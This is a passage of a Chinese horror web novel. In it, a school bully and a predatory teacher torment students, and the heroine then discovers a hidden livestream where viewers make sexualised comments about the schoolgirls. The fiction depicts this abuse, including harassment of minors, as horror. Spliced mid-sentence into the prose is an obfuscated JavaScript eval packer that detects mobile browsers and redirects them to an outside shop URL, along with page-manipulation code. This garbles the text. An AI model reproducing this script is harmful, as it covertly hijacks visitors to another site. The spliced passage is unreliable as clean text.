他慢吞吞地将身子放低,双手撑在地面上,朝着程叶一点点爬过去。 就一两米的距离,他爬了很久,程叶没有催,站在原地点了一支烟,吞云吐雾地等着他靠近。 等到男生爬到他脚边时,手中的烟已经抽了一半,他先是抬脚踩在他头上,让对方的额头重重砸在地板上,发出的声音让所有人都抖了一下,下意识地缩着身体,试图将自己藏匿在空气中。 随后,他蹲在男生面前,将那半支烟狠狠按在男生的嘴唇上,在他张嘴惨叫的同时将烟头扔进了他嘴里,男生叫得更大声了。 最后,程叶摘下了他脖子上挂着的校牌,那沉重的金属校牌在他手指上转了一圈,记号笔写下的名字被他用装着酒精的喷瓶喷了两下,那名字就变成蓝色的液体往下流,再往男生的衣服上一擦,就什么都看不清了。 程叶站了起来,目光扫过食堂里每一个颤颤巍巍的学生。他脸上带着笑,仿佛很享受这种掌控别人性命的感觉。 “这就是挑战规则的下场,都看见了吗?” 他的眼神穿过人群落在青于身上,轻而易举地点燃了名为愤怒的火苗。青于握紧了刀想要起身,肩膀上突然多了一只手,将她牢牢按住,难以起身。 徐念雨不知什么时候出现在她旁边,一只手搭在她肩膀上,另一只手拿着豆奶,她咬着吸管,将豆奶的空瓶吸得很响。 在程叶的目光移开后,她才开口说道:“我劝你不要冲动。而且,这出戏还没演完呢,你不好奇结局吗?” 她说完勾唇一笑,这一次笑得格外开心,嘴角是弯着的,眼睛也是弯着的,好像眼前的一切就是一出荒诞的闹剧,她只是一个无情的观众。 食堂里没有人敢出声,所有的呼吸都变得小心翼翼。 程叶弯下腰,将塑料筐里剩余的早餐拎起来,勾在手指上一晃一晃的,然后转身将食物扔进大雨里,随后撑着伞走进雨中将所有食物碾碎。 等到塑料袋里的食物变成一包残渣后,他又伸手对着那个男生勾了勾,在男生往前爬的时候,他的手势变了,强硬地指了一下地面的残渣,然后说:“十分钟之内把这些吃完,我就把校牌还给你。” 他说完就离开了,走到教学楼檐下那简易的“主席台”处,坐在那张课桌上点了一支烟,看着男生狼狈地捡地上的残渣吃。 食堂里的学生们连忙站起来,脚步慌乱地往外跑,冲进雨幕中,绕开那个男生往教学楼的方向去。徐念雨拉着青于跟了上去,路过那个男生时更是小跑着避开,好像生怕青于一个冲动上去帮忙。 在这所学校里,最不缺的就是救赎者。 千万不要成为救赎者,千万不要走向未知的选项。 18.平江三中(9) 青于能感觉到自己的后槽牙咬得发疼,她浑身紧绷,双手捏得死死的。即便被徐念雨拽着往前走,她也始终偏着头,将视线停留在那个跪趴在雨幕中,疯狂捧起食物残渣塞进嘴里,然后狼狈吞咽的男生身上。 男生被呛得连连咳嗽,喷溅出来的残渣就和他的眼泪一起,混进雨幕里,变成被人踩在脚下狠狠践踏的污渍。而他的尊严,他的人格都被大雨砸碎,变成抓不住的水,永远无法拼凑。 雨水、泥水、食物残渣混杂着被灌进口腔里,然后急切地吞咽着,或许是泥水太腥,又或是雨水太凉,连着灌几次他就要趴在地上频频呕吐。 当灌和吐的动作同时出现,那些食物他永远也吃不完。 “别看了,相信我,你的戏份会比他更精彩。” 徐念雨的声音贴着青于的耳廓响起,带着一股阴冷的潮气不断拍打在耳朵薄薄的皮肤上。她几乎是拖着青于往前走,双脚踩在积水的坑洼里溅起浑浊的水花,将本就湿透的裤腿再次浸透。 教学楼的房檐下挤满了避雨的学生,每个人都湿漉漉的,像一群被雨水打蔫的鹌鹑,沉默地挤在一起,眼神空洞地等待着王老师用钥匙打开教学楼一楼的大铁门。 教学楼有很多道门,每个楼梯口都有一道大铁门,缠着好几圈铁链,挂着一个拳头大的老样式铁锁,而这些门的钥匙只有王老师有。 但是王老师没有出现在宿舍楼。 如果将整个学校划分成不同的区域,那王老师管理教学楼,程叶管理宿舍楼,还剩食堂和操场,这两个地方也会有单独的管理者吗? 这样的管理有什么意义? 青于用指甲狠狠掐着掌心,想让自己的脑子转得更快一点。 男生的惨样就在面前,她愤怒、悲哀、恐惧,她害怕时间拖久了,自己也会经历这些。而且徐念雨说了“戏份”,什么意思?难道每个学生都要有戏份吗? 空气里弥漫着潮湿的霉味、廉价洗衣粉味和一种腐烂的臭味。 徐念雨拉着青于缩在人群的最里面,背靠着冰冷的瓷砖墙。 青于靠在墙上,嗓子发紧地问:“是不是只要他没了校牌,就会死。” “好聪明呀新同学。”徐念雨黑黝黝的眼珠死死盯着青于,她的目光有些黏稠,像是白乳胶,带着刺鼻的味道,黏糊糊地挂在青于脸上,即便往下滑了很久,脸上的印子依旧还在。 她的目光像烙印,是阴森的,黏糊的,长着无数细小绒毛的烙印。 王老师端着保温杯优哉游哉地出现,他手里拿着一串钥匙,在大铁门前翻找了好一会儿才找到正确的钥匙把锁打开,然后率先往前走,去开上面的门。 学生们跟在他后面,隔着一米左右的距离,安安静静的。 女生停在三楼,男生去往四楼。 二楼楼梯口的铁门没有被打开,那把锁沉甸甸地坠在锁链下面,覆盖着一层又一层的锈迹,锁眼处也有厚厚的棕红色锈迹。 青于有点困惑,她想回忆一下昨天这道门有没有开,结果怎么也想不起来。 她突然发现,昨天她们刚从一楼上来就看到了程叶和那个男生,后来徐念雨拉着她往上跑,她们全程都没有路过一道门,好像只是一个平常的楼梯拐角。 回到教室,讲台上依旧没有人,黑板上用粉笔写着一行歪歪斜斜的白字。 今日任务:写一篇主题为“亲情与幸福”的作文,不少于两千字,不允许抄袭,如果有雷同情节,两人同时受罚。 和昨天一模一样的任务,唯一的区别是桌面上关于“韩喜乐”的东西都消失了。桌洞里的课本和水杯,还有她昨天塞进去的作文本都不见了,只有一块孤零零的校牌躺在桌洞里。 青于把校牌拿出来挂在脖子上,然后看着桌洞思考。 这时,桌面上突然出现了一本作文本和一支中性笔。徐念雨在她桌面上敲了敲,小声提醒她,“快写,别愣着了。” 青于“嗯”了一声,她翻开本子握着笔,突然发现昨天看过的内容一直印在脑海里,属于韩喜乐的作文内容十分清晰,她完全可以照着那些字慢慢誊抄下来。 青于握着笔,在本子上写下了题目。 【我的爸爸】 她誊抄得很困难,在下课铃响起时,韩喜乐的作文内容还没有被她全部复刻在本子上。那些字迹歪歪扭扭的,下笔很重,有些笔画甚至划破了薄薄的纸张。 王老师走进教室,坐在讲台上跷着二郎腿。 他慢悠悠地吹开保温杯上漂浮的茶叶沫,啜饮了一口,视线扫过底下正在埋头苦写的女学生们。他在看什么?看她们刻苦的姿态,还是被雨打湿后变得透明的校服,以及被校服包裹着的青涩的身体。 教室里只剩下笔尖摩擦纸张的沙沙声,外头的暴雨好像下到了教室里,急促的雨滴堵住她们的口鼻,让她们窒息,让她们痛苦。 “詹玉婷,你站起来念一下你的作文。” 名叫詹玉婷的女生颤抖着站起来,她是个很漂亮的女孩儿,头发湿漉漉地贴在脸上,越发衬得她皮肤清透,眉眼漆黑,明艳的五官挤在巴掌大的脸上,她恐惧的样子让王老师露出一个和善的笑脸。 她缩着身子,含胸驼背,双手捏着薄薄的作文本,从始至终都没敢抬头往上看,用微微沙哑的嗓音念道:“我的爸爸是个沉默的人,他总是早出晚归,成为家庭里那个频频缺席的人。在那个六十平方的小房子里,经常出现的只有我和后妈,还有她的儿子,他们忽视我,欺负我,嘲笑我,好像我是一个没有父母的孤儿。幸福该如何定义……” “等等,”王老师似笑非笑地看着詹玉婷,吐出了嘴里的茶叶沫子,他说:“他们怎么欺负你的?打你了?骂你了?骂你什么?骂你是不检点的*子,还是勾引继兄的贱人?那些是欺负吗?你的衣服是他们脱下的吗?” “你之前有过抑郁倾向对吧,好像是因为你继兄猥亵你,而你继母一边放任他的行为,一边怪你引诱他……还有你父亲,他怎么说的?他说‘那不是猥亵,是继兄喜欢你’,他说‘那不是勾引,是你喜欢你继兄’。” “你喜欢他吗?你们做了些什么?你们亲嘴了吗?你们上床了吗?” 他不停地追问着,像一条阴毒的蛇,不断逼近,贴在你面前张开血盆大口,让你可以看清他嘴里的黏膜和毒牙。 语言变成了利刃,一刀刀将詹玉婷凌迟,她站在那里,孤立无援,几近崩溃。 詹玉婷无助地摇着头,大口大口地喘息,整个人因为应激而变得颤抖,嘴里却只敢小声哀求,“老师,我的作文里没有这些。” 王老师站了起来,斜靠在讲桌旁边居高临下地看着他,笑了一声,然后说道:“好吧,没写就没写。你继续念吧,我听听后面有什么有意思的内容。” 詹玉婷哆嗦着继续往下念:“幸福该如何定义?这是一个好空泛又好遥远的词汇,我不知道,我好像从未感受过。如果非要说,那幸福应该是妈妈,我时常在想,要是妈妈还在,我就会很幸福……” “打住,”王老师再次出声叫停,他从讲台上走下来站在詹玉婷身边,伸手搭在她单薄的肩膀上,轻声说道:“这一段,我好像在别的同学本子上看到过。都说了不让抄袭,你怎么就不会听呢。” 詹玉婷的嘴唇开始颤抖,手里的作文本“啪”地掉在桌上。 她慌乱地摇头,下意识地往后退了好几步,将后背紧紧贴在墙上,极力和王老师拉开距离,双手环抱在胸前语无伦次地说:“老师,我、我是自己写的,真的、真的,我没有抄袭,我真的没有抄袭……” 眼泪大颗大颗地滚落,顺着脸颊砸在手背上,她感受着泪水从热到冷,好像正在跳动的心被挖了出来,然后慢慢变得僵冷,而胸腔里那被脂肪包裹着的不再是心脏,而是一团散发着臭味的烂肉。 “自己写的?”王老师拿起她的作文本,慢条斯理地翻看。他的目光扫过整间教室,嘴角勾起一丝恶劣的弧度,他开始点名了,“陈悦,你有没有写过这一段。” 被点名的女孩儿慢吞吞地站起来,垂着头沉默了好久,她轻轻摇头,嗫嚅着嘴唇小声说:“老师,我没写过。” 王老师走到她旁边,那双眼直直盯着她的脸,视线一刻也不曾移到桌面上的作文本上,但他依旧伸手合上了那个本子,压低身子将自己的脸贴在陈悦的脸上,冷冷地说道:“你的作文字数不达标,现在,去外面罚站。” 陈悦从书桌和椅子的缝隙里挤出来,抬手擦了擦眼泪,她正准备往外走,就听见王老师说:“衣服湿了,把衣服脱了再去。” 陈悦头垂得更低了,抖着手捏着衣摆开始脱衣服,她的眼泪大滴大滴地落在地面上,溅开后变成一朵残破的花。 青于的呼吸骤停,后槽牙咬得咯咯作响。愤怒的火苗在胸腔里窜起,烧得她指尖发麻。她瞥见徐念雨坐在旁边,一只手托着腮,另一只手的指甲轻轻敲击桌面,节奏轻快得像在欣赏一场夸张的话剧表演。 徐念雨的嘴角弯着,眼里闪着幽暗的光。 单薄的校服短袖被雨水打湿,紧紧贴在她的皮肤上,像是一层自我保护的皮。陈悦脱下了湿透的短袖,像是亲手撕下了自己的一层皮。瘦削的肩膀剧烈地颤抖着,锁骨高高凸起的线条像一道横梁,将她的脖颈横挂着,带来永无止境的窒息感,她的肋骨一道又一道,清晰可见。 她瘦得像一架骷髅,裹着一张单薄的皮,强装自己是个人。 王老师的目光像拖着透明黏液的爬虫,肆无忌惮地在陈悦身上游走,他嘴角噙着一丝令人作呕笑容。陈悦的脚步异常沉重,正在慢吞吞地往外走,他没有催促,正沉溺其中,享受着这份无声的凌迟。 教室里死寂一片,只剩下窗外暴雨砸落的声响。 空气变成凝固的水泥,压得人喘不过气。每一个低垂的头颅都写满了麻木和畏惧,生怕下一个被点名的就是自己。 徐念雨敲击桌面的动作停止了,那轻快的节奏消失。 青于微微侧头,用眼角的余光去看她。 徐念雨依然托着腮,黑黝黝的眼珠一瞬不瞬地盯着讲台前的陈悦和王老师,她的目光扫过陈悦颤抖的身体,扫过王老师贪婪的视线,最终落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526243|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了青于紧绷的侧脸上。 “怎么?看不下去了?”徐念雨的声音压得极低,几乎是气音,贴着青于的耳廓滑过,带着一种湿冷的戏谑,“这才哪到哪,好戏还在后头。你可千万不要轻举妄动,会毁了这一出好戏的。” 陈悦离开了教室。 王老师满意地哼了一声,他慢悠悠地踱着步子回到讲台,重新捧起保温杯,啜饮一口,然后端着杯子斜斜倚在讲桌上,目光再次扫视全班,最后落在另一个女孩儿身上。他又开口了,他问:“姜琪,你跟詹玉婷坐得近,你说,她有没有抄别人的作文。” 名叫姜琪的女孩儿站了起来,却一直没有开口说话。 她沉默地低着头,像一尊石像。 王老师不耐烦地“啧”了一声,然后清了清嗓子又重复了一遍,最后,还威胁着说:“快点回答!你是要扰乱课堂秩序吗?” “老师!”就在这样紧张的氛围中,詹玉婷突然开口,她走到姜琪面前将矮小的女孩挡住,然后哽咽着说,“我抄了,我抄袭了……” 姜琪突然伸手握紧了她的手臂,死死地握着。 詹玉婷将她的手掰开,侧过头小声说了一句,“没事的,你别害怕。” 王老师心满意足地“哎呀”一声,然后从口袋里摸出一串钥匙,挑出一枚细长的铜匙握着手里,格外兴奋地说:“詹玉婷,跟我来吧。”他转身走向教室门口,脚步不疾不徐。 詹玉婷僵在原地,双腿如灌铅般沉重,直到王老师回头投来一瞥,她才踉跄跟上,像一具提线木偶。 “对了,陈悦也一起吧。”他说话间,将站在门口的陈悦也带走了。 青于猛地站了起来,拎着刀就要追出去,她忍不住了。王老师这种人渣,就是该死!凭什么他可以好好活着欺负这些学生,他哪里来的资格在这个破学校里作威作福。 徐念雨手疾眼快地将她拉住,然后将她牢牢按在座位上,说话的语气带着警告:“冷静点,你还想再来一次吗?” 青于不解,就问道:“你这话是什么意思?” 徐念雨:“你想要知道真相,就忍住你的脾气。有个人托我给你带几句话,她说‘真相藏得很深,你要耐心一点,不要总是想着杀人,在这个地方,杀人解决不了任何问题’。” 青于半信半疑地坐下,然后问道:“我就跟上去,我绝对不会动手。可以吗?” 徐念雨笑吟吟地摇头,“你一定会动手。所以,老实坐着吧。” 青于只能暂时坐着,继续誊抄那篇作文,时间一点一点地过去了,詹玉婷和王老师迟迟没有回来。 每一秒都变得格外煎熬,青于总是分心去看门口,急切地盼望着詹玉婷能够回来。 她无法判断徐念雨说的话是真是假,也不知道在这个学校里,每个人属于什么阵营,所以只能暂时听从徐念雨的,毕竟她是白天的校园里唯一会和自己交谈的人。 具体的内容,可以等晚上去办公室问问朱芸他们,他们是老人,总是比自己有经验的。 黄昏的时候,詹玉婷和陈悦回来了。 她们换上了干净的校服,沉默地坐在自己的位置上一言不发,只是机械化地拿起笔开始埋头写作。 青于坐在詹玉婷后面,她能看见女孩儿的发尾有些潮湿,像是洗完头后没有彻底吹干的样子。 她突然起身,脚步很轻地走到詹玉婷的书桌旁蹲下,小声问道:“你没事吧?需要帮助吗?我可以帮你。” 詹玉婷依旧在写作文,看都没有看她一眼。 青于伸手想要握住她细瘦的手腕,却被突然出现的徐念雨扯了回来,“不要碰她!我说了,让你不要做多余的事情!” 她拖着青于往回走,青于踉跄着跟上,在她们身后,那些女学生将头全部转过来了,用一种极其扭曲的姿势,死死盯着她,她们嘴角带着诡异的笑容,嘴角像是被无形的线吊起来的,格外僵硬。 等她们回到座位上后一切又正常了,教室是普通的教室,学生们是埋头写作的模样。 只有徐念雨,她狠狠按着青于的肩膀,声音冰冷地说:“我再跟你说最后一次,不要做任何多余的事情,你只需要在学校里待够时间就可以离开。两天后就是周日,程叶可以离开学校,你最好跟着他一起离开。” “你不是说,跟他离开的人……” 徐念雨冷哼一声,翻了个白眼,“比起跟他离开,你留在学校里会死得更快。所以,还不如跟他离开。” 青于皱起眉头,心里满是疑惑,可还没等她再问,徐念雨就转身回到了自己座位,只留给她一个冷漠的背影。 青于无奈,只能在座位上偷偷用余光观察詹玉婷和陈悦,在她们身上,好像察觉不到情绪。不只是她们,这间教室里的所有人,好像都是没有情绪的木偶,只有在被叫到名字时才会出现一些反应。 就像徐念雨所说的那样,戏份。 出现相应的“戏份”时,她们才会成为她们,成为有情绪的人。那现在呢?在没有“戏份”的空白时间里,她们是什么?是何种身份?什么样的立场? 19.平江三中(10) 就在青于沉思的时候,教室的后门突然被推开,一阵冷风灌了进来,直直打在她们湿透的身上,所有人都下意识地缩紧了身子,试图让凉意覆盖的面积少一点。 青于抬头望去,只见王老师站在门口,脸上挂着那令人作呕的笑容。他扫视了一圈教室,最后目光落在了詹玉婷身上,推了下眼镜缓缓开口说道:“詹玉婷,明天学校要给新同学举办一个欢迎仪式,场地就设在操场上,台子已经搭好了,你待会儿下课去仓库拿东西布置一下。二楼铁门的钥匙和仓库的钥匙都在我办公室的柜子里,你下课了直接去拿就行。我先回去了,明天我到学校的时候要看到操场布置好的样子。” 陈悦猛地站起来,“老师,我和她一起……” “闭嘴!布置个场地哪里需要那么多人,就让她自己来,你们下课了就给我滚回宿舍,别老是出来瞎晃悠。” 他说完转身就走了,血色的夕阳就在他身后,被密集的铁丝网切成一片一片的,那样浓稠的夕阳落在他身上,将他的影子扯得很长很长,有多长呢……青于看见那黑色的影子立在白色的墙面上,双手举着什么,一步一步跟在王老师身后。 而王老师的脚下也有一片影子,紧贴着他的双脚往后延伸,不停地延伸,覆盖了一半的走廊,那影子晃动着,飘忽不定,像是地面上永不会干涸的水流,蔓延着寻找可以渗透的缝隙。 夜幕逐渐蔓延,教室里的光线变得昏暗。 这一刻,平江三中仿佛变成了一个冰冷的铁笼子,而她们是笼子里供人观赏的新奇猎物,在演出结束时,一块巨大的黑色幕布从天而降盖在银色的铁笼子上,结束了这一天的表演,与此同时,她们的天就黑了。 “啪” 在彻底变黑之时,教室里的灯被打开了,一颗简单的钨丝电灯泡,悬在房顶上散发着昏黄的光芒,那光不够白,不如青于的户外手电筒,也不够亮,照不透这教室里满满的污垢。 它唯一的用处,就是让教室里充满了阴影。 到处都是阴影。 在詹玉婷的脸上,在陈悦的桌洞里,在徐念雨直直垂下的睫毛里…… 天黑后不久就响起了下课的电铃声,大家开始站起来窸窸窣窣地收拾东西,书本和文具都被塞进了桌洞里,桌面上干干净净的。 在这样略显凌乱的环境中,詹玉婷坐在位置上没有站起来,她垂着头摆弄着一支铅笔,有着黑红条纹的铅笔被她紧紧握在手里,一会儿用指甲抠着铅笔顶端那坚硬的橡皮,一会儿又用柔软的指腹摩擦着尖锐的笔尖。 青于的视线黏在她身上,徐念雨在旁边催了她好几声她都没听见,最后徐念雨忍无可忍,伸手拍了一下她的肩膀,憋着火说:“别看了!快走,回宿舍了。记住我跟你说的话,离她们远一点。” 青于点头,小声说道:“好。” 教室里的人越走越多,狭窄的教室变得空旷,没了学生的遮掩,那些剥落的墙皮和受潮的墙面都露出来了,还有桌椅的残缺和老旧也一一呈现。 青于磨磨蹭蹭地收拾东西,她在观察詹玉婷。 旁边的徐念雨很是焦急,连连催她。 不知是在哪一个时刻,徐念雨念叨的声音消失了,她后知后觉地扭头去看,发现她不见了。而这时,教室里只剩下她和詹玉婷了。 她的视线在此刻变得灼人,詹玉婷顺着她的目光转过头静静地看过来。 那目光很复杂,有哀求,也有恐惧,像是想要向她求助,又怕会连累她。所以只能静静地看着,看向可能会成为希望但大概率是旁观者的她,看向自己的痛苦和挣扎,看向对岸永远无法和自己感同身受的人。 她眼里泛起了水光,那深邃的目光像是漩涡,席卷着青于的意识,让她无法控制地陷入其中,然后淹没、浮起、淹没、沉溺。 青于站了起来,挪着步子朝詹玉婷走过去,而詹玉婷始终保持着那种泪涟涟的目光,静静地凝视着她,是期待吗? 地面上有一小截不知道谁留下的白色粉笔,青于猝不及防地踩了上去,粉笔被踩碎,青于猛地清醒过来,然后下意识地后退了好几步。 詹玉婷消失了,眼前只有一间空荡荡的教室。 她脚下是碎成末儿的白色粉笔,而教室的地板上多了很多白色的印子,杂乱的印子到处都是,像一幅画,也像是几个字。 青于将所有桌椅都搬到走廊里堆放着,耗时半个小时将教室清理出来后,站在讲台上居高临下地看着地面上的白色印子。 那些乱糟糟的线条竟然真的是字,内容是:周四晚上,不要回宿舍。 今天就是周四。 青于哆嗦了一下,觉得浑身发冷,这才想起来自己还穿着那身被淋湿的衣服。她从背包里把校服外套拿出来,然后脱下湿漉漉的短袖套上了干净温暖的外套,拉链拉到最高处,她勉强觉得不那么冷了。 既然不能回宿舍,那就去教学楼里的安全区,那间办公室。 办公室在四楼西侧尽头,卫生间的旁边。 青于踏出教室门,走廊里寂静无声,昏黄的顶灯间隔很远才亮一盏,光线微弱得只能勉强勾勒出一些模糊的轮廓,大片大片的黑暗在灯与灯的间隙里张牙舞爪。 空气是冰冷的,带着一股陈旧的灰尘味和难以形容的刺鼻味道。 走廊一侧是整齐排列的教室,教室靠近走廊这一侧没有窗,只有光秃秃的门板。那些门板上会有一个鸡蛋大小的孔,是老师用来偷偷监视学生的。 那小孔现在黑洞洞的,像被挖出来的不规则的眼睛,正无声地注视着行走在黑暗中的青于。 走到楼梯口,向上的台阶陷进更深的黑暗里。 青于深吸一口气,抬脚踏上第一阶台阶。 就在这时,一阵布料摩擦的“窸窣”声从楼下传来,那声音非常细微,是断断续续的,若有若无的,但在这样不祥的夜晚,一点细微的响动都会变得格外刺耳。 她的脚步顿住了,握紧杀猪刀站在原地屏住呼吸仔细倾听。她全神贯注地听,那声音却突兀地消失了,好像一切都只是她的错觉。 可青于知道,那不可能是错觉。于是她不再犹豫,迈开步子冲上了台阶,大步大步地奔着四楼去。 脚步声在空旷的教学楼里回荡,青于自己听着都觉得心慌。 她终于到了四楼,后背已经被冷汗覆盖。 四楼的走廊更加昏暗,钨丝灯泡一闪一闪的,不知在什么时候会彻底熄灭。 她脚步匆匆,小跑着来到安全区面前,手伸向冰冷的门把手,却在即将触碰到的瞬间猛地停住。 在那黑色的门板上映着一道影子,一道站立着的,手中举着锤头的影子。 青于垂眼看了自己的脚下,属于自己的影子正牢牢地黏在脚底。 门板上的,并不是自己的影子。 她猛地转身用力将杀猪刀挥下,却没有砍到任何生物,身后只有空荡荡的走廊。 她的呼吸乱了,慌乱转身想要拧开安全区的门进到里面,她的手搭在门把手上,正要用力开门的时候,一只冰凉的手贴在她的手背上将她牢牢钳制。 阴森的声音在背后响起,门板上的黑影消失了。 “新同学,校规里有一条是‘天黑后不允许进入办公室’,不要违反校规。” 青于侧过头,看见了詹玉婷。 她的声音轻得像一阵风,几乎被窗外的风声吞没,她说:“新同学,你陪我去二楼的仓库吧,我一个人有点怕。我们一起布置场地,早点结束我们就能早点回宿舍休息。” 青于愣了一下,徐念雨的警告在脑中炸开,但詹玉婷提到了二楼。她想去二楼,那里或许藏着很多秘密,她需要线索,她需要离开。 她默默点头,然后两个人并排走在走廊上,沉默地走向二楼。 詹玉婷用钥匙打开了二楼的铁门,“吱呀”一声,铁门被推开,神秘的二楼暴露在两人的眼中。走廊上堆积如山的废弃桌椅,桌面上还有涂改液涂出的白色痕迹,角落里堆放着早已枯死的观景植物,黄色的泥土和深褐色的枯叶落了满地。 她们绕过乱糟糟的杂物,来到仓库门前。 打开门,尘埃纷飞,有一瞬间眼睛都是睁不开的。随后,一大堆杂物出现在她们面前,密密麻麻的杂物胡乱堆放着,有高高在上伫立在杂物堆顶端的新椅子,也有顶在天花板上的巨大纸箱子,红色的横幅东一块西一块,早已经掉色的看不清内容了。 詹玉婷径直走向角落的纸箱堆,开始翻找彩带和气球。 一袋一袋的气球被她找出来扔在地上,彩带和彩灯被收在一个编织袋里,还有用来布景的假绢花和别的装饰品,就这样翻找着,装满了整整两个编织袋。 找齐后她瘫坐在地上,手里拿着个打气筒开始给气球打气。 圆鼓鼓的气球被一根细细的绳子穿成串儿,然后詹玉婷把这些气球串儿交给了青于,“你把气球从铁丝网里扔出去,待会儿我们去操场上拉着尾端往舞台上系,这样弄出来的舞台很漂亮。” 青于“嗯”了一声,然后拿着气球出去了一趟,很快就将气球放好了回来。 再次进入仓库时,她突然被什么东西闪了一下,仔细去看才发现是一块巨大的补光板,放置的位置很刁钻,只要仓库里开着灯,进门的时候就会被闪一下。 她正想移开视线,就看见那补光板后面有些不自然。 她连忙走过去将那补光板扔开,又将上面堆砌的物品挪开,然后发现了一个摄像头。一个体积很小的,正泛着一点红光的摄像头。 青于继续翻找,又在角落里找到了一台老旧的笔记本,上面出现的画面就是这个小小的仓库,而画面里的主角就是她和詹玉婷。 这是一个直播界面,标题是:平江女子学校日常直播。 在线观看人数正疯狂跳动,始终维持在一万上下。 评论密密麻麻地滚动着。 【这个新来的妞不错,眼神够野,就是身材一般,干巴巴的像没发育一样】 【老王能到女子学校当老师真是赚大发了,不知道我有没有机会去那里面当老师】 【你滚吧,上过学吗就去当老师。要去也是我去,我会给小妹妹带来很多新奇体验的】 【咱就是说,老王吃得太好了】 【詹玉婷今天哭得真带劲,必须打赏个火箭!】 【靠,老王那种下等货色都能染指詹玉婷,我是真的眼红】 【说起来,以前这个学校还有拍卖来着,但是现在好像不搞了】 【不敢了吧,最近偷拍这类问题查得太严,稍微不注意咱们的快乐老家就没了】 【是啊,反正我拍不起,我就想看看】 【明天就是围猎了,不知道老王会选择谁当自己的猎物】 【詹玉婷吧,他一直挺喜欢詹玉婷的】 【我觉得是陈悦,老王喜欢清纯的,而且陈悦看起来是个雏儿】 【啧啧,这新生看起来真淳朴,想起年少时乡下的初恋了,真想导在她脸上】 【你是真不挑啊兄弟,就这张脸放在平江只能算下等马啊】 【什么上等马下等马,能骑就是好马】 青于浑身血液倒流,恐惧和愤怒交织着侵蚀她的理智,她急促地喘息着,握着刀的手不停颤抖,整个人僵在原地,想要杀人的心空前强烈。 不断滚动的文字像烧红的烙铁,狠狠烫在青于的视网膜上,她突然后悔自己认字,能看懂这种肮脏的东西。 胃里翻江倒海,她几乎要呕出来。 原来那些偶尔察觉的窥视感并不是她的臆想,而是真实存在的,真的有一群人躲在网线后面窥视着她们,那样的眼神无处不在,像幽灵一样会出现在所有地方,没有任何一个角落能够幸免。 这里不是学校,这里是猎场,是橱窗,将她们的痛苦和苦难一一展示,排放整齐地陈列着,供人观赏评价。 那些污言秽语,那些赤裸裸的觊觎……他们凭什么可以活着?他们凭什么能够自由?他们凭什么能够评价? 他们的眼耳口鼻手,凭什么要属于他们? 她猛地看向詹玉婷,漂亮的女孩依旧坐在灰尘弥漫的地上,低着头,专注地将灰扑扑的绢花擦干净,然后浸入汽油桶里,让那花朵更艳丽。 昏黄的灯光落在她弯曲的脖颈上,勾勒出一道脆弱的线条,柔美温顺,像某种智商不高的动物,只要一点点食物就能让它乖乖臣服。 她对角落里那台罪恶的笔记本毫无所觉,甚至没有投来半个目光。 青于的牙齿在打颤,不是因为冷,而是因为那股几乎要冲破胸腔的滚烫杀意。 “弄好了。”詹玉婷的声音突然出现,随后她站起身,拍了拍校服上的灰。 “好了,我们该去操场上布置了,再磨蹭下去天都要亮了。明天还要上课,今晚不睡觉的话明天会打瞌睡的……”她弯腰去提那两袋沉重的物品,手指在粗糙的编织袋上收紧,被勒出了充血的红印子。 青于僵硬地挪动脚步,喉咙像是被什么东西死死扼住,发不出任何声音。 她看着詹玉婷单薄的背影,看着她校服下那道窄窄的腰,看着她毫无防备地走向门口,走向那个被无数双贪婪的眼睛所注视的舞台。 笔记本屏幕上,评论还在疯狂滚动,新的污言秽语不断刷新,像蛆虫在腐肉上不断蠕动。 詹玉婷走到门口,脚步顿了一下,没有回头,只是轻轻地说:“走吧,新同学。” 青于脚步沉重,所以走得格外慢,詹玉婷心里着急布置场地,便出声催促她。 “新同学,你怎么了?快点走呀。” 詹玉婷的声音带着几分疑惑,她站在走廊里,微微侧过头,昏黄的光线描摹着她脸颊的轮廓,轻轻抚摸她的五官,浓密的睫毛在眼下投出浓重的阴影,像两片小小的羽毛,眼睛藏在羽毛之下,让人难以窥见其中的情绪。 青于猛地吸了一口气,强迫自己移开视线,不再看那令人恶心的屏幕,也不再深究詹玉婷究竟知不知道其中内情。她的目光落在自己手中的杀猪刀上,那锋利的刀刃给了她勇气,她转身出现在摄像头前,挥刀砍下,将摄像头砸烂了。 可一扭头,电脑上的画面并没有消失,只是换了另一个视角。那位置不知道是在哪里,青于很陌生。 空荡荡的一间屋子,屋子里什么都没有,只有墙上和地面上乱糟糟地血色痕迹,是陈旧的血迹,墙壁上到处都是飞溅的血液,但是有几个位置留下了凶手的痕迹,在墙面上,飞溅的血液中间,有一些空白的区域。 那样的痕迹不需要过多解释,那是凶手杀人时站在墙面前方,然后飞溅的血液喷射而出,他的存在挡住了血液飞溅,所以墙面上会出现一个空白的轮廓,代表着曾经有一个人站在这里,或许是凶手,或许是别的目击者。 青于明白了,这学校里的摄像头不止这一个,还有很多很多,遍布在不同的角落里,记录着很多她们并不知情的画面。 她们在画面中成为主角或者路人,就像在演戏一样。怪不得徐念雨会说出“戏份”两个字,这是不是说明,她知道这件事,她知道这所学校正在被直播,有上万人在屏幕的那一端窥视着她们。 直播画面上,因为她砍烂摄像头的行为,那些人更兴奋了,这样的举动仿佛成了一种奖赏,他们兴奋地像猴子一样上蹿下跳,评论刷得更快了,大大小小的礼物接二连三地出现在屏幕上,更多的污言秽语席卷而来,强势地蒙住青于的口鼻,让她有些难以呼吸。 【靠,好爽好爽】 【她看见了!她看见了!好爽!】 【小美女,我们来玩个游戏好不好?如果你能找到三个摄像头并将其摧毁,我就给你刷礼物让你当班长】 【别呀,直播间已经没有管理很久了,那所学校里负责直播事宜的人也消失了很久,要是她把摄像头破坏了,那我还看个屁啊】 【小野猫,我喜欢】 【这种野蛮生长的气息,我是真的爱】 青于转身就走,在转身的一瞬间看到屏幕上出现一条高级评论,金色的字体浮现在屏幕上,身后还跟着很多五颜六色的尾巴,都是相同的内容。 是一则招聘广告。 